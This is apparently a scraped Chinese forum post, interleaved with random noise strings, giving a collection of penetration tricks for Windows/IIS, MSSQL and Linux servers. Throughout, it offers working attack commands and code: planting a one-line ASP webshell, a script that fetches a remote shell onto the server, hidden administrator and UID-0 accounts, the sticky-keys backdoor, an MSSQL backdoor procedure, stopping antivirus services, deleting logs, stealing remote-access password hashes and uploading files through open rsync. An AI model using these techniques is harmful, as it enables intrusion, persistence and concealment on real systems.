渗透技巧总结

admin

旁站路径问题
% X0 k% z2 a, G7 j1、读网站配置。
1 c6 ~9 R* D; u% G' r2、用以下VBS
, ]1 a1 r* x- x5 o+ q5 ]( b# FOn Error Resume Next
  Q9 |, T4 v8 yIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

, X7 z, a# K# X% ~7 }+ `; q/ `Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
$ V/ ~  K( P7 q$ ~3 `+ P
Usage:Cscript vWeb.vbs",4096,"Lilo"
! M% ]  P, d! w9 o0 r        WScript.Quit
1 P$ _) F& [4 U! S9 m/ _. NEnd If
Set ObjService=GetObject
3 G7 k( ]5 Q  f# C
$ o$ g* V1 i6 q' h4 T6 h("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)
. A! M# ?+ i4 W* a7 U
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
9 |% Y" z* V: E2 X) R, c# R+ H0 ]
<> 0 Then WScript.Quit (1)
$ [5 W+ [8 b5 u' f. ^* ^. H' r                WScript.Echo Chr(10) & "[" &
4 N0 h9 L# l9 S5 G4 E
OService.ServerComment & "]"
( a9 C* k3 H- _6 ^! f' t, e                For Each Binds In OService.ServerBindings
     
  P9 l* G4 v7 C9 }7 Y. }3 A
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
; ^  b. I" |0 v                        
& I0 A& L9 K5 {
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
. W9 M8 b2 a( m# Y$ v" ?7 \      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
2 N0 a6 D- @+ `1 |8 G* e; S复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
* l5 L8 e' |: z- v6 \4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
/ z! y6 h! x+ n! {—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
/ ?) \" c8 Q1 o7 f; z2 A9 `——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
% A% |$ X# z, BphpMyAdmin/darkblue_orange/layout.inc.php
4 q+ X2 A* p9 S9 G2 B8 l2 M: ?phpMyAdmin/index.php?lang[]=1
# p/ R5 K% i, L  @phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
8 w* Y7 i! C; K; }# X% p) t3 y网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
9 w+ h0 U8 X. S6 D————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
7 l4 l+ l7 {( }2 x+ \7 Wnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
) `& u( h3 p2 V$ Y6 qnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
' w  i4 }; b, ?& |* Nnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
3 \6 e8 W. b/ B% |0 Q5 p, G需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
, V7 q! r8 C5 b$ V( w& Qexec master.dbo.sp_addlogin test,123
4 Z6 |" C$ M3 ~" {EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
; V. y- H  c" L( Y
* {- j7 Y" o# U  A另类的加用户方法
; H! D& L. W" z. ?! f在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
5 f6 p; L: u  d0 pjs:
$ `$ U2 K( V: y& j5 I6 U% N0 |) \4 c: Svar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
2 |& L3 W6 z' ]9 _" Fz.changePassword("123456","")
z.setting("AccountType")=3;
  i3 [- Q) I# i  i
vbs:
Set   o=CreateObject( "Shell.Users" )
7 S+ J' w" C* K: lSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
' Y3 P# A; k2 @" a( ccmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
) h& O1 P/ Z3 W% F
命令如下
! R/ Q5 c; l( Ycacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
$ D; V" g# ?2 @* c: O. H- B————————以下配合PR更好————
6 f, |2 r3 l( b, b. }+ U6 _3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
% ~2 a, R" J8 ?  cc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
5 R; N, N1 ]% N8 G1 q2003 运行mstsc /console   
+ Q/ ~1 r! V: b# [1 n
杀软关闭（把杀软所在的文件的所有权限去掉）
& i3 h8 a% V! {! k- C1 d处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
% V3 P" U+ Z7 r. x1 E4 ynet stop "Symantec AntiVirus Definition Watcher" /y
9 E3 D6 \0 x% _net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
# _4 M, v' F& Y7 C% t8 `, ^/ A0 a' p
卖咖啡：net stop "McAfee McShield"
————————————————————
9 G/ I. ~1 }, F% G7 v, w+ G
5次SHIFT：
# ?; t2 ^' ^/ E- Jcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
" s% P3 f# @+ }+ z! r( d5 mcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
5 L- C5 m7 O9 k1 ]5 F$ q1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
; o: A# K3 M$ _  K8 d' h2、导出注册表SAM下用户的两个键值
+ {0 t; M% A2 g3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
" o$ N! z3 S+ t5 q- H: KMSSQL扩展后门：
USE master;
. i; L) n! z7 x8 @. t; b- ZEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
7 C/ @! C$ H# ?4 w. I8 n. V( g4 d' j———————————————————————
$ ?5 ^, _& a  }8 ]6 S( X日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
: c1 Q5 }: A$ \$ q直接删除 ex0111124.log
不成功，“原文件...正在使用”
1 V  Y, y$ C- {  ?当然可以直接删除ex011120.log / ex011121.log
9 e! y9 O1 F2 B7 ~用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
$ g( K8 G  w) u2 M5 D当停止msftpsvc服务后可直接删除ex011124.log

8 ?. k6 e) G& m0 S4 i; hMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
9 L' l! C5 |& Z# [0 PHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
" @- t: l- e0 l& m9 _7 rMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
) a" R% K0 l) O
& P5 i7 _. ^$ Q$ ?Server\90\Tools\Shell\mru.dat
2 ~( h& |0 f3 \—————————————————————————
$ w+ _* v+ E( q: a! Y' M& w防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
, ~+ ^1 J3 Z2 o9 Y" W
* C: N6 {0 ~: L  A7 d; [6 {<%
0 _& X: c2 G% x, W, N8 ?! ]. ESub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
" c% o# h( N4 Z. \) a+ W5 Z2 L% j5 S* kOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
. j0 M9 U, I2 r/ A6 F3 FSet Ads = Server.CreateObject("Adodb.Stream")
) {$ `4 i2 [- M  kWith Ads
1 K5 F% X! K/ L  _4 R  ~# C$ r.Type = 1
# U1 f5 E$ N+ _7 R& c, v.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
+ v; R6 L$ c6 w- ~.Cancel()
.Close()
! P: g  u) F$ F4 K$ _. u4 FEnd With
Set Ads=nothing
* X' Z4 K8 q. d" N+ k4 o2 G7 yEnd Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
1 ]( J: |0 X5 H: \9 c1 Z( ]%>

6 i5 e8 p6 I( b4 ZVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
- |8 |5 u5 V: _: ~- n8 _7 v! Jregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
0 x* T3 p- a2 H& m( z6 bHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
. @, _- M0 B: x8 _: i4 N然后用HASH版连接。
. n6 L9 c( `) y, z, K! j) E如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
" d; O; P5 q2 e  p8 o保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
( S% M9 [6 H+ |——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
# I* g: {2 U7 u7 B0 ?% V% P没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
" p3 Q) H0 v( g& C! {9 T
1433 SA点构建注入点。
0 U9 S, O# H/ p1 B. X<%
# [: O; }: s; t" lstrSQLServerName = "服务器ip"
- z+ z  M3 p$ M% b" I$ S/ nstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
) e& R0 }' c6 w; ustrSQLDBName = "数据库名称"
" u( X4 i! B0 @* c  cSet conn = Server.createObject("ADODB.Connection")
* y1 [  i& L4 X% E$ K* S8 zstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
& u) d$ s% p4 p: K, n
7 r, H! i% W; d* T5 a1 a3 g  `3 f7 I";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
4 _  b- w; A# {1 d3 P) d
3 B2 \; z9 X3 v1 q. IstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
: O1 H( b' I$ o8 Z; Sset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
; ?2 ]* H5 ^! {) j! J2 p%>
复制代码
8 H/ ?3 n4 X' L+ V/ X. V+ C$ y******liunx 相关******
" O/ p1 F2 v/ s' t一.ldap渗透技巧
' r  _& ^; F: v2 A0 H1.cat /etc/nsswitch
2 R  @# Y8 Y; o看看密码登录策略我们可以看到使用了file ldap模式
* l% B$ n: H* _$ F
1 J9 Z9 F8 Z; {; v* t8 O2.less /etc/ldap.conf
1 ?- K$ k3 V% A& |8 F' k& l& Tbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
+ x( d9 L4 o( p' n1 a$ U
; E8 `( T3 x  S$ Y0 H; Y3.查找管理员信息
匿名方式
% z! ]/ z$ P! ]) uldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
, Q. W0 G/ X( G' A* k1 A) C
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 T) m: M/ `& X5 S有密码形式
& Z6 a7 O7 E+ f) e8 d& K% |7 pldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
. B0 c$ }2 S6 O4 O7 t# P- P* p

4.查找10条用户记录
/ G& i9 |; W- J( r7 Mldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
; t! ^0 A; K3 Y" ~0 f' O6 j) K& B6 V% Z
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
9 |* ]0 k6 e2 K有密码形式
' M' p, _' L7 h$ a# Y! s' ^" c1 pldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
) ^( b! [5 X! o9 {5 G* n( j
- d! }2 c* a# g2 a7 t$ y- Y"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

2 `2 X+ ]4 h% y2 T4 t4 }
2 [7 k: j9 _8 t' c' Q  T4.查找10条用户记录
6 K2 l# w7 A+ ~+ u0 Ildapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

# ]$ X0 x# Y* p0 [3 Q渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
- L+ ~) _8 W9 b" l+ u+ dversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
5 t. h5 g; z  j' `objectClass: domain
$ q7 R5 q+ m* X6 {; k
0 N) ?+ {7 O: D. }! Hdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
& I' o' P6 `$ Q. uobjectClass: inetOrgPerson
" D8 X) V- f" N- {6 a  YobjectClass: organizationalPerson
objectClass: person
% W' \3 g) x+ Y& e8 T; C3 _objectClass: top
5 o; S0 v6 f: A, ?! ?3 @/ N; ?sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
4 p( O8 c  ]+ s& i- c" P0 [objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
6 j: O$ f0 F0 ^+ [! XobjectClass: top
6 \, E- ]# T7 V. C: `: @( N2 Zsn: superadmin
: J* w! k1 c, R/ f& h6 N/ Ncn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
) T' P! ?7 p! [& O. xobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
9 _' V4 E; Q; ~2 V+ z! p* uobjectClass: top
sn: admin
) x) F% p2 b6 |7 h) o1 I$ `( Rcn: admin

: m( o, o, z# \! tdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
$ |1 i3 k  V+ T' D# W: e( ruid: dcp_anonymous
objectClass: top
objectClass: person
  Z" ?4 R+ i. Y0 z/ ZobjectClass: organizationalPerson
* ~( Z- d. P9 a0 V2 R. c3 hobjectClass: inetOrgPerson
; j+ i3 G- g/ a  psn: dcp_anonymous
cn: dcp_anonymous

% G8 U% {1 q- c! V$ T0 Y- L% J# o2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
6 s  P3 \8 g5 C. r
( N' v; W' l( }4 d9 N, }" E4 z. ]more
( ]4 o& S! r( x1 x  |* Nversion: 1
dn: dc=ruc,dc=edu,dc=cn
( i& I2 ^2 N& P5 r1 [. Hdc: ruc
objectClass: domain

2 G* x% g4 s0 x9 Z$ u3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
! V# h( I# f  D: b- G  m; A$ r+ K8 @dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
' \8 L* {8 t/ I8 e+ k( [/ D" i/ FsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
( ]" ]* x7 C3 gsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
* C- }: c3 U' P' a- [4 esupportedExtension: 2.16.840.1.113730.3.5.5
$ Y9 \; Q0 o1 R# u, v  osupportedExtension: 2.16.840.1.113730.3.5.6
) P- k2 X* a% I6 D( y* fsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
# S# D/ z6 ?2 V" m: \1 D5 s5 wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
4 G0 k) o/ {, T  a+ Y9 l( gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
( [* V( _$ B. z9 u9 m+ c/ bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
* ?/ z; W( V# A7 L! S. q+ wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
7 ]) N' R) ?+ \; L9 rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
" O8 O3 G  o" YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
0 H) q% ]( j& s' c. R8 J- IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
7 R- W; h- Z/ e4 R# HsupportedExtension: 1.3.6.1.4.1.1466.20037
1 y. k7 ]+ U; @) P- OsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
0 A5 o# f. E! PsupportedControl: 2.16.840.1.113730.3.4.2
* z5 d2 B6 B' C0 l* V  P# P* f: hsupportedControl: 2.16.840.1.113730.3.4.3
0 A( k4 L, x2 V9 c6 NsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
; @8 W2 U5 g) K7 |/ JsupportedControl: 2.16.840.1.113730.3.4.15
( A8 X4 ?  ]  `supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
/ d% R- p* h$ T5 I) \5 ksupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
' F6 f* c$ q8 ^9 F4 F4 WsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
( H1 n  a- U. {$ r# |supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
( W9 G' h( a0 S- u, H8 |* w+ ?1 bsupportedSASLMechanisms: EXTERNAL
, p# T+ M8 U2 l; h1 g2 `) NsupportedSASLMechanisms: DIGEST-MD5
/ H# n" u' m0 v# R; L# G0 h$ nsupportedLDAPVersion: 2
  M' }0 q( K3 k5 c5 M4 [& hsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
; K6 y" j4 e# i. G3 wvendorVersion: Sun-Java(tm)-System-Directory/6.2
0 x- @/ [" N1 t( I% Y$ mdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
$ p% h! k, j) `9 j# ^supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
  r( }+ B/ e& ]% O' z; U: f. \3 g1 bsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
3 Q4 U. p, ]9 K$ jsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0 D& u' j* ?7 t, u+ ]" s8 gsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
9 C5 s+ e; `# ?  x" S6 m; nsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
" j8 @( ^+ a, YsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
% H! J5 i  {4 K4 g* b( f' P" j# L  @supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
( d6 Z( {' x5 J: k4 r' TsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
" s3 p+ ?4 o0 Q3 q4 ~supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
* @% ]$ W. |& i( A% A/ xsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
$ o3 ~. {/ S+ psupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
- m5 B) x) r7 |supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
, I. U5 f% t/ Y3 bsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
; m1 g$ ]+ z! N) o/ @supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
3 J) c8 F+ h: o6 p$ i1 asupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
$ ?- t9 f, o0 @: |: TsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
; }, D9 y" n! N" HsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
: z  c: K6 @5 ]' ksupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
9 j* f" z2 a" ?9 I2 R4 wsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
0 {+ k8 f% [) A, m1 `3 lsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
$ n4 y3 k9 I; O6 e! usupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
3 ~1 n  N7 f( p* i% j) e$ X5 A0 m# RsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
, e/ t! }6 }/ w  m7 |' |2 f0 H& GsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
9 \3 Q, Q- x# e* CsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
: Y$ u7 U, D" b0 X2. NFS渗透技巧
showmount -e ip
列举IP
, l/ h' W/ N9 v0 a4 }/ H4 K——————
2 _" k  U! X1 ]* w! I4 s3 c. p7 F3.rsync渗透技巧
0 _, Z  s" @- N3 m0 h1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
9 f/ I% t7 Z) h# o4 U, M- Z! simg_finance
% y% }3 y0 A; \/ q( qauto
4 ~" J6 k( G* I) timg_auto
html_cms
img_cms
* k! a) N: X2 Hent_cms
' Z# @' E+ T0 w) Ient_img
/ h. ~, [) q9 H7 o3 ^& Kceshi
res_img
res_img_c2
) s# e/ u' V. H% fchip
3 D0 b; W6 R! Achip_c2
% ?- o& c/ X; `2 p7 oent_icms
/ x( `- g# ]+ y; Y% Ygames
( r* o1 h/ I1 Z5 {5 E+ t" qgamesimg
9 o* b" h0 b5 y6 v+ Z) l$ Smedia
mediaimg
% {2 B8 G7 K& N- O  v" Qfashion
res-fashion
( m. ]' M% o6 y% h$ E6 Vres-fo
$ {: k$ ^6 [8 M$ j+ Y0 ], Gtaobao-home
- z) ?) v6 K/ b' \+ A/ C1 T3 Ires-taobao-home
house
res-house
; H  z( |! h7 |( Z' \. jres-home
: b0 H2 N# G8 Q7 j$ v* P' v2 zres-edu
% S: v- g2 F, k1 M' `6 l/ ores-ent
. m# r# {5 y! K  Sres-labs
res-news
res-phtv
res-media
" v! Z* ^. [- H/ Uhome
2 O' Y! Q" l& g, o0 M' n4 a3 ^edu
news
res-book
- h; e; {$ C# ]9 z+ W
5 s* T0 U: N! s4 Q看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
- w& l2 a7 `( u9 w# Lrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

2 b: Y! Q& p. [& J. f" h. a# x3 W3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
" o9 v$ R0 h0 ^) s- wnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
' j# `# C8 ]0 r* m( c$ U7 ]GET HTTP://WWW.sina.com:22 / HTTP/1.0
6 J" p  X5 @; h/ k/ [) A8 ?五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

" }! O/ A& J$ r/ ^6 P六.joomla渗透小技巧
7 ^7 f4 e; {( \! M- a4 M确定版本
2 e( D, D/ }  |. G2 Y8 I% c% `index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
0 S/ P" B. K) E% t# E
6 e% c; d/ i) L* L3 z6 o4 a7 ?9 J15&catid=32:languages&Itemid=47

重新设置密码
4 F2 D; M' d1 ?5 x  c: Jindex.php?option=com_user&view=reset&layout=confirm

: X9 T+ x7 ~- s" y! F七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
& @  V5 V5 k# b
) u# K8 @8 o8 t- t7 S八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
. m( m' l& e; Z/ c# ~( H8 @* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
+ k" I' i3 S* _% \' o9 o! a
